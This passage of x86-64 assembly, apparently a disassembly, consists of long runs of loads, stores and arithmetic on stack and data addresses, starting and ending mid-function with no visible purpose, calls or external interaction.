idiv ecx
mov word [rsp + 0x1240], ax
movzx eax, byte [rsp + 0x1f3]
mov byte [rsp + 0x23e], al
lea rax, [rsp + 0x44f8]
mov qword [0x14019dd68], rax
mov eax, dword [rsp + 0x416c]
mov ecx, dword [rsp + 0x4610]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x498c], eax
movzx eax, word [rsp + 0xec4]
mov rcx, qword [rsp + 0xa6c0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xab90]
mov word [rcx], ax
movzx eax, byte [0x14019bf67]
mov byte [rsp + 0x23f], al
mov eax, dword [rsp + 0x4198]
mov ecx, dword [rsp + 0x3b8c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4588], eax
lea rax, [rsp + 0x4a7c]
mov qword [rsp + 0xc650], rax
mov eax, dword [rsp + 0x4990]
mov ecx, dword [0x14019c00c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa948]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4968]
mov ecx, dword [rsp + 0x4944]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xabf0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa9c8]
movzx eax, word [rax]
mov word [rsp + 0x126c], ax
mov rax, qword [0x14019daf8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1b4]
add eax, ecx
mov rcx, qword [0x14019d988]
mov byte [rcx], al
mov rax, qword [rsp + 0xa568]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4640]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x38f0], eax
lea rax, [rsp + 0x497c]
mov qword [rsp + 0xc658], rax
mov rax, qword [0x14019dc58]
mov ecx, dword [rsp + 0x4324]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3fc0], eax
mov rax, qword [rsp + 0xa950]
mov ecx, dword [rsp + 0x48a4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x42d8], eax
mov eax, dword [rsp + 0x442c]
mov dword [rsp + 0x4aa0], eax
mov rax, qword [0x14019dc30]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x196]
sar eax, cl
mov byte [rsp + 0x192], al
mov rax, qword [rsp + 0xba08]
movzx eax, word [rax]
mov word [rsp + 0x1270], ax
movzx eax, word [rsp + 0x120c]
mov rcx, qword [rsp + 0xc550]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xfc4], ax
lea rax, [0x14019bf3b]
mov qword [0x14019dd70], rax
lea rax, [rsp + 0x47a8]
mov qword [rsp + 0xc660], rax
mov rax, qword [rsp + 0xad40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x48d0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x48a0], eax
mov rax, qword [rsp + 0xaac0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1a5]
shl eax, cl
mov byte [rsp + 0x70], al
mov rax, qword [rsp + 0xa898]
movzx eax, word [rax]
mov word [rsp + 0x1274], ax
mov rax, qword [rsp + 0xc0f8]
mov ecx, dword [rsp + 0x4254]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x44fc], eax
mov eax, dword [rsp + 0x4658]
mov dword [rsp + 0x4aa4], eax
mov rax, qword [rsp + 0xafe0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x468c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb9b8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x41f4]
mov ecx, dword [rsp + 0x41a0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x48e4], eax
lea rax, [rsp + 0x238]
mov qword [0x14019dd78], rax
lea rax, [rsp + 0xed4]
mov qword [rsp + 0xc668], rax
mov rax, qword [rsp + 0xa508]
mov ecx, dword [rsp + 0x46b4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4404], eax
mov eax, dword [rsp + 0x4380]
mov dword [rsp + 0x4aa8], eax
movsx eax, word [str.3K6LAu_]
mov rcx, qword [rsp + 0xbf78]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xb7d8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x1a1]
movsx ecx, byte [rsp + 0x1d4]
and eax, ecx
mov byte [rsp + 0x7b], al
lea rax, [rsp + 0x11fc]
mov qword [rsp + 0xc670], rax
movzx eax, byte [rsp + 0x1cf]
movzx ecx, byte [rsp + 0x1f7]
sub eax, ecx
mov rcx, qword [rsp + 0xc080]
mov byte [rcx], al
lea rax, [rsp + 0x423c]
mov qword [rsp + 0xc678], rax
mov rax, qword [rsp + 0xc108]
mov rcx, qword [rsp + 0xb948]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14019bf60], eax
mov rax, qword [rsp + 0xb8d8]
mov ecx, dword [rsp + 0x4a9c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xbd90]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbb28]
mov ecx, dword [rsp + 0x39a0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xaca8]
mov dword [rcx], eax
lea rax, [rsp + 0x43b8]
mov qword [rsp + 0xc680], rax
movzx eax, word [rsp + 0xbdc]
movzx ecx, word [rsp + 0x11bc]
or eax, ecx
mov word [rsp + 0x125c], ax
lea rax, [rsp + 0x220]
mov qword [rsp + 0xc688], rax
mov eax, dword [rsp + 0x4088]
movzx ecx, al
mov eax, dword [rsp + 0x3b60]
shl eax, cl
mov rcx, qword [rsp + 0xbe18]
mov dword [rcx], eax
lea rax, [rsp + 0x3f5c]
mov qword [rsp + 0xc690], rax
mov eax, dword [rsp + 0x42f4]
mov rcx, qword [rsp + 0xc0c0]
mov qword [rsp + 0xc698], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc698]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x4578], eax
mov rax, qword [rsp + 0xc4e8]
mov rcx, qword [rsp + 0xbec0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [0x14019d948], eax
movzx eax, byte [rsp + 0x19f]
mov rcx, qword [rsp + 0xadc8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x1b1], al
lea rax, [rsp + 0x10e0]
mov qword [rsp + 0xc6a0], rax
mov rax, qword [rsp + 0xb500]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa620]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xbc10]
mov byte [rcx], al
movsx eax, word [rsp + 0xc48]
mov rcx, qword [rsp + 0xc120]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xac8], ax
mov rax, qword [rsp + 0xaf60]
mov rcx, qword [rsp + 0xbc20]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xc1c8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3d1c]
mov ecx, dword [rsp + 0x4218]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4980], eax
lea rax, [rsp + 0x1b5]
mov qword [rsp + 0xc6a8], rax
mov rax, qword [rsp + 0xa990]
movzx eax, word [rax]
movzx ecx, word [0x14019c018]
add eax, ecx
mov word [rsp + 0xea4], ax
mov rax, qword [rsp + 0xba90]
mov eax, dword [rax]
mov dword [0x14019dd80], eax
mov eax, dword [rsp + 0x4278]
mov dword [rsp + 0x4aac], eax
mov rax, qword [rsp + 0xc348]
mov rcx, qword [0x14019dc90]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xa6e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbe28]
mov ecx, dword [rsp + 0x42c0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x41f0], eax
movzx eax, word [rsp + 0xee4]
mov word [rsp + 0x1278], ax
mov rax, qword [rsp + 0xab68]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb3a8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1d6], al
mov eax, dword [rsp + 0x4438]
mov dword [rsp + 0x4ab0], eax
mov eax, dword [rsp + 0x48ac]
mov ecx, dword [rsp + 0x46dc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4824], eax
mov rax, qword [0x14019da58]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x476c]
shl eax, cl
mov rcx, qword [rsp + 0xbfd0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xadb0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4488]
xor ecx, eax
mov eax, ecx
mov dword [0x14019bf50], eax
lea rax, [rsp + 0x4960]
mov qword [rsp + 0xc6b0], rax
movsx eax, byte [rsp + 0x23b]
mov rcx, qword [rsp + 0xa638]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xa7a8]
mov byte [rcx], al
movzx eax, word [rsp + 0xe88]
mov word [rsp + 0x127c], ax
movzx eax, byte [rsp + 0x21a]
mov rcx, qword [rsp + 0xc078]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xc2a0]
mov byte [rcx], al
lea rax, [rsp + 0x11a0]
mov qword [rsp + 0xc6b8], rax
mov rax, qword [rsp + 0xa358]
mov ecx, dword [rsp + 0x443c]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xbb28]
mov dword [rcx], eax
mov rax, qword [rsp + 0xaf18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x46f8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb998]
mov dword [rcx], eax
lea rax, [rsp + 0x1050]
mov qword [rsp + 0xc6c0], rax
lea rax, [rsp + 0x191]
mov qword [0x14019dd88], rax
mov rax, qword [rsp + 0xb040]
mov rcx, qword [rsp + 0xb278]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xacc0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4380]
mov dword [rsp + 0x4ab4], eax
mov rax, qword [0x14019dcc8]
mov ecx, dword [rsp + 0x4904]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xbff0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc158]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x43f0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3b2c], eax
mov rax, qword [rsp + 0xc1b8]
movzx eax, byte [rax]
mov byte [rsp + 0x240], al
movzx eax, word [rsp + 0x1220]
movzx ecx, word [rsp + 0x121c]
sub eax, ecx
mov word [rsp + 0x1084], ax
mov eax, dword [rsp + 0x4978]
mov dword [rsp + 0x4ab8], eax
mov rax, qword [rsp + 0xaa30]
mov ecx, dword [rsp + 0x4928]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4708], eax
movsx eax, word [rsp + 0x11e8]
movsx ecx, word [rsp + 0x11a4]
and eax, ecx
mov rcx, qword [0x14019d7a8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x20b]
movsx ecx, byte [rsp + 0x169]
add eax, ecx
mov rcx, qword [rsp + 0xb298]
mov byte [rcx], al
mov rax, qword [rsp + 0xc670]
movzx eax, word [rax]
mov word [rsp + 0x1280], ax
mov rax, qword [rsp + 0xa838]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1e7]
shl eax, cl
mov byte [rsp + 0x1ac], al
mov eax, dword [rsp + 0x450c]
mov ecx, dword [rsp + 0x48d0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x382c], eax
mov rax, qword [0x14019d7d0]
mov rcx, qword [rsp + 0xba90]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xa728]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbfc0]
mov eax, dword [rax]
mov dword [rsp + 0x4abc], eax
mov eax, dword [rsp + 0x4264]
movzx ecx, al
mov eax, dword [rsp + 0x4750]
sar eax, cl
mov dword [rsp + 0x4508], eax
mov rax, qword [rsp + 0xa6a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x42a8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4874], eax
movzx eax, byte [rsp + 0x197]
mov byte [rsp + 0x241], al
movzx eax, word [rsp + 0x10a4]
movzx ecx, word [rsp + 0x1120]
and eax, ecx
mov word [0x14019c048], ax
mov rax, qword [rsp + 0xba90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4664]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x425c], eax
mov rax, qword [rsp + 0xbe70]
mov eax, dword [rax]
mov dword [rsp + 0x4ac0], eax
mov rax, qword [rsp + 0xb4e0]
mov ecx, dword [rsp + 0x44e0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4368], eax
mov eax, dword [rsp + 0x3f28]
mov ecx, dword [rsp + 0x49dc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbc18]
mov dword [rcx], eax
lea rax, [rsp + 0x1b4]
mov qword [rsp + 0xc6c8], rax
mov rax, qword [rsp + 0xb850]
movzx eax, word [rax]
movzx ecx, word [0x14019c024]
sub eax, ecx
mov rcx, qword [rsp + 0xaed0]
mov word [rcx], ax
movzx eax, word [rsp + 0x1004]
mov word [rsp + 0x1284], ax
mov rax, qword [rsp + 0xbbf8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x16d]
sub eax, ecx
mov byte [rsp + 0x211], al
mov eax, dword [rsp + 0x449c]
mov ecx, dword [rsp + 0x46e8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [0x14019d8c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb948]
mov rcx, qword [rsp + 0xa3b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x474c], eax
lea rax, [rsp + 0x10c4]
mov qword [rsp + 0xc6d0], rax
mov rax, qword [rsp + 0xc6c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdf]
and eax, ecx
mov byte [rsp + 0x195], al
mov rax, qword [rsp + 0xc0f8]
mov eax, dword [rax]
mov dword [rsp + 0x4ac4], eax
mov rax, qword [rsp + 0xaf88]
mov ecx, dword [rsp + 0x4360]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4718], eax
mov rax, qword [rsp + 0xaf00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4908]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4aa8], eax
lea rax, [rsp + 0x4334]
mov qword [rsp + 0xc6d8], rax
movzx eax, byte [rsp + 0x1ab]
mov rcx, qword [rsp + 0xb130]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x1ea], al
mov rax, qword [rsp + 0xb9c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf70]
shl eax, cl
mov word [0x14019c04c], ax
lea rax, [rsp + 0x3fac]
mov qword [rsp + 0xc6e0], rax
mov eax, dword [rsp + 0x4680]
mov ecx, dword [rsp + 0x4308]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x47f8], eax
lea rax, [0x14019bf78]
mov qword [rsp + 0xc6e8], rax
mov rax, qword [rsp + 0xc0f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4248]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbed8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb648]
mov rcx, qword [rsp + 0xbc60]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x46b8], eax
lea rax, [rsp + 0x11dc]
mov qword [rsp + 0xc6f0], rax
movsx eax, byte [rsp + 0x1ff]
mov rcx, qword [rsp + 0xbf10]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xbbf8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x159]
mov byte [rsp + 0x242], al
lea rax, [0x14019d958]
mov qword [0x14019dd90], rax
mov rax, qword [rsp + 0xb2d8]
mov ecx, dword [rsp + 0x4228]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4870], eax
mov eax, dword [rsp + 0x4718]
mov ecx, dword [rsp + 0x4350]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4870], eax
movzx eax, byte [rsp + 0x1a6]
mov byte [rsp + 0x243], al
mov rax, qword [rsp + 0xb870]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xfe0]
add eax, ecx
mov word [rsp + 0xf44], ax
lea rax, [rsp + 0x4a5c]
mov qword [rsp + 0xc6f8], rax
mov rax, qword [rsp + 0xb1d8]
mov ecx, dword [rsp + 0x4474]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xad40]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbcf0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4644]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x45b0], eax
lea rax, [rsp + 0x4808]
mov qword [rsp + 0xc700], rax
mov rax, qword [rsp + 0xb968]
movzx eax, byte [rax]
movzx ecx, byte [0x14019bf7e]
sub eax, ecx
mov byte [0x14019bf7f], al
mov rax, qword [rsp + 0xab10]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc288]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1010], ax
lea rax, [rsp + 0x4898]
mov qword [rsp + 0xc708], rax
mov eax, dword [rsp + 0x456c]
mov rcx, qword [rsp + 0xc6e8]
mov qword [rsp + 0xc710], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc710]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x4a1c], eax
lea rax, [rsp + 0x119c]
mov qword [rsp + 0xc718], rax
mov rax, qword [rsp + 0xbdd0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xbaf0]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x20e], al
movzx eax, byte [rsp + 0x17c]
movzx ecx, byte [rsp + 0x1d5]
or eax, ecx
mov rcx, qword [rsp + 0xa838]
mov byte [rcx], al
mov rax, qword [rsp + 0xc550]
movzx eax, word [rax]
mov word [rsp + 0x1288], ax
mov eax, dword [rsp + 0x48d0]
mov rcx, qword [rsp + 0xc088]
mov qword [rsp + 0xc720], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc720]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xb118]
mov dword [rcx], eax
lea rax, [0x14019c020]
mov qword [0x14019dd98], rax
mov rax, qword [rsp + 0xbb88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4318]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3d90], eax
mov rax, qword [rsp + 0xa4a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4730]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x335c], eax
mov eax, dword [rsp + 0x46d0]
mov ecx, dword [0x14019bf30]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb268]
mov dword [rcx], eax
lea rax, [rsp + 0x1098]
mov qword [rsp + 0xc728], rax
movzx eax, byte [rsp + 0x201]
mov rcx, qword [rsp + 0xabb0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x1d2], al
mov rax, qword [rsp + 0xa998]
mov eax, dword [rax]
mov dword [rsp + 0x4ac8], eax
mov rax, qword [rsp + 0xc180]
mov rcx, qword [rsp + 0xb8c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa4d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc378]
mov ecx, dword [0x14019bf18]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3b98], eax
mov rax, qword [rsp + 0xbc60]
mov ecx, dword [rsp + 0x35e8]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14019bf18], eax
movzx eax, word [rsp + 0x10f0]
mov word [rsp + 0x128c], ax
movzx eax, byte [rsp + 0x22e]
movzx ecx, byte [0x14019d7b4]
sub eax, ecx
mov rcx, qword [rsp + 0xbfd8]
mov byte [rcx], al
lea rax, [rsp + 0x11a4]
mov qword [rsp + 0xc730], rax
movsx eax, byte [rsp + 0x14b]
mov rcx, qword [rsp + 0xbdd0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x221], al
mov rax, qword [0x14019db88]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa508]
mov qword [rsp + 0xc738], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc738]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0xb118]
mov dword [rcx], eax
mov eax, dword [rsp + 0x460c]
mov dword [rsp + 0x4acc], eax
mov rax, qword [rsp + 0xbcb8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x217]
or eax, ecx
mov byte [rsp + 0x1e1], al
lea rax, [rsp + 0xe20]
mov qword [rsp + 0xc740], rax
mov eax, dword [0x14019bf8c]
mov dword [0x14019dda0], eax
mov rax, qword [rsp + 0xaff0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xbed8]
mov qword [rsp + 0xc748], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc748]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xa680]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa600]
mov eax, dword [rax]
mov dword [rsp + 0x4ad0], eax
mov rax, qword [rsp + 0xa4d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4058]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4194], eax
mov rax, qword [rsp + 0xb778]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x119]
and eax, ecx
mov byte [rsp + 0x1be], al
movzx eax, word [rsp + 0xf4c]
mov word [rsp + 0x1290], ax
mov rax, qword [rsp + 0xc510]
mov eax, dword [rax]
mov ecx, dword [0x14019bef8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4984], eax
mov eax, dword [rsp + 0x35fc]
mov dword [rsp + 0x4ad4], eax
mov rax, qword [rsp + 0xa798]
mov ecx, dword [rsp + 0x4710]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa8a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbbb8]
mov eax, dword [rax]
mov ecx, dword [0x14019dc78]
add ecx, eax
mov eax, ecx
mov dword [0x14019c000], eax
mov rax, qword [rsp + 0xaa30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x42b0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xaef8]
mov dword [rcx], eax
lea rax, [rsp + 0x1e4]
mov qword [rsp + 0xc750], rax
movsx eax, word [rsp + 0x1180]
movsx ecx, word [rsp + 0x1054]
and eax, ecx
mov word [rsp + 0xfdc], ax
movzx eax, byte [rsp + 0x193]
mov byte [rsp + 0x244], al
mov rax, qword [rsp + 0xb910]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb730]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x10d8], ax
mov rax, qword [rsp + 0xc278]
mov ecx, dword [rsp + 0x4190]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x496c], eax
mov rax, qword [rsp + 0xae30]
mov eax, dword [rax]
mov dword [rsp + 0x4ad8], eax
movzx eax, word [rsp + 0xf0c]
movzx ecx, word [0x14019d958]
sub eax, ecx
mov rcx, qword [rsp + 0xc0f0]
mov word [rcx], ax
mov rax, qword [rsp + 0xa908]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa9b8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x14019d7c0]
mov byte [rcx], al
mov rax, qword [rsp + 0xc0a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4730]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x3324], eax
mov eax, dword [rsp + 0x4548]
mov rcx, qword [rsp + 0xb998]
mov qword [rsp + 0xc758], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc758]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xc5c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb4e8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xbb20]
mov qword [rsp + 0xc760], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc760]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x4630], eax
lea rax, [rsp + 0x4474]
mov qword [rsp + 0xc768], rax
movzx eax, word [rsp + 0xe6c]
movzx ecx, word [rsp + 0x104c]
xor eax, ecx
mov rcx, qword [rsp + 0xa828]
mov word [rcx], ax
lea rax, [rsp + 0x222]
mov qword [rsp + 0xc770], rax
mov rax, qword [rsp + 0xc228]
mov ecx, dword [0x14019bf84]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3848], eax
mov eax, dword [rsp + 0x4684]
mov dword [rsp + 0x4adc], eax
movsx eax, byte [rsp + 0x1eb]
mov rcx, qword [rsp + 0xbd48]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14019bfa6], al
movsx eax, word [rsp + 0xfec]
mov rcx, qword [rsp + 0xbee0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xfb4], ax
mov rax, qword [rsp + 0xb050]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb990]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc288]
mov word [rcx], ax
mov rax, qword [rsp + 0xb700]
movzx eax, byte [rax]
mov byte [rsp + 0x245], al
mov rax, qword [rsp + 0xc1a8]
mov rcx, qword [rsp + 0xc488]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3c7c], eax
mov rax, qword [rsp + 0xb4f0]
mov eax, dword [rax]
mov dword [rsp + 0x4ae0], eax
mov rax, qword [rsp + 0xa770]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4748]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x44c8], eax
mov eax, dword [rsp + 0x3aa4]
mov ecx, dword [rsp + 0x4178]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x49e0], eax
mov rax, qword [rsp + 0xad00]
mov eax, dword [rax]
mov dword [rsp + 0x4ae4], eax
mov rax, qword [rsp + 0xc6a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x113c]
sub eax, ecx
mov rcx, qword [rsp + 0xb370]
mov word [rcx], ax
movzx eax, byte [rsp + 0x202]
movzx ecx, byte [rsp + 0x1bb]
add eax, ecx
mov byte [0x14019bfa7], al
mov rax, qword [rsp + 0xc038]
mov eax, dword [rax]
mov dword [rsp + 0x4ae8], eax
mov rax, qword [rsp + 0xb590]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4530]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4944], eax
mov rax, qword [rsp + 0xa718]
mov eax, dword [rax]
mov rcx, qword [0x14019d9a0]
mov qword [rsp + 0xc778], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc778]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0xab88]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbf58]
mov eax, dword [rax]
mov dword [rsp + 0x4aec], eax
movzx eax, word [rsp + 0x1064]
movzx ecx, word [rsp + 0x10a0]
shl eax, cl
mov rcx, qword [rsp + 0xab90]
mov word [rcx], ax
mov rax, qword [rsp + 0xb840]
movzx eax, byte [rax]
mov byte [rsp + 0x246], al
mov rax, qword [rsp + 0xa688]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1038]
or eax, ecx
mov word [rsp + 0x1240], ax
lea rax, [rsp + 0x1c4]
mov qword [rsp + 0xc780], rax
mov eax, dword [0x14019dd38]
mov ecx, dword [rsp + 0x476c]
xor ecx, eax
mov eax, ecx
mov dword [0x14019bffc], eax
mov eax, dword [rsp + 0x4704]
mov ecx, dword [rsp + 0x462c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3bf0], eax
mov rax, qword [rsp + 0xb2f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb758]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x10b4], ax
lea rax, [rsp + 0x160]
mov qword [rsp + 0xc788], rax
mov rax, qword [rsp + 0xb430]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x461c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc0c0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4504]
mov dword [rsp + 0x4af0], eax
mov rax, qword [rsp + 0xa9d0]
mov ecx, dword [rsp + 0x4610]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xaf18]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa700]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x424c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4984], eax
mov rax, qword [rsp + 0xc468]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x225]
sub eax, ecx
mov byte [rsp + 0x133], al
mov rax, qword [rsp + 0xab10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x10fc]
add eax, ecx
mov rcx, qword [0x14019da88]
mov word [rcx], ax
mov rax, qword [rsp + 0xc0d0]
mov rcx, qword [rsp + 0xc070]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4604], eax
mov rax, qword [0x14019dc98]
mov eax, dword [rax]
mov dword [rsp + 0x4af4], eax
mov rax, qword [rsp + 0xba98]
mov eax, dword [rax]
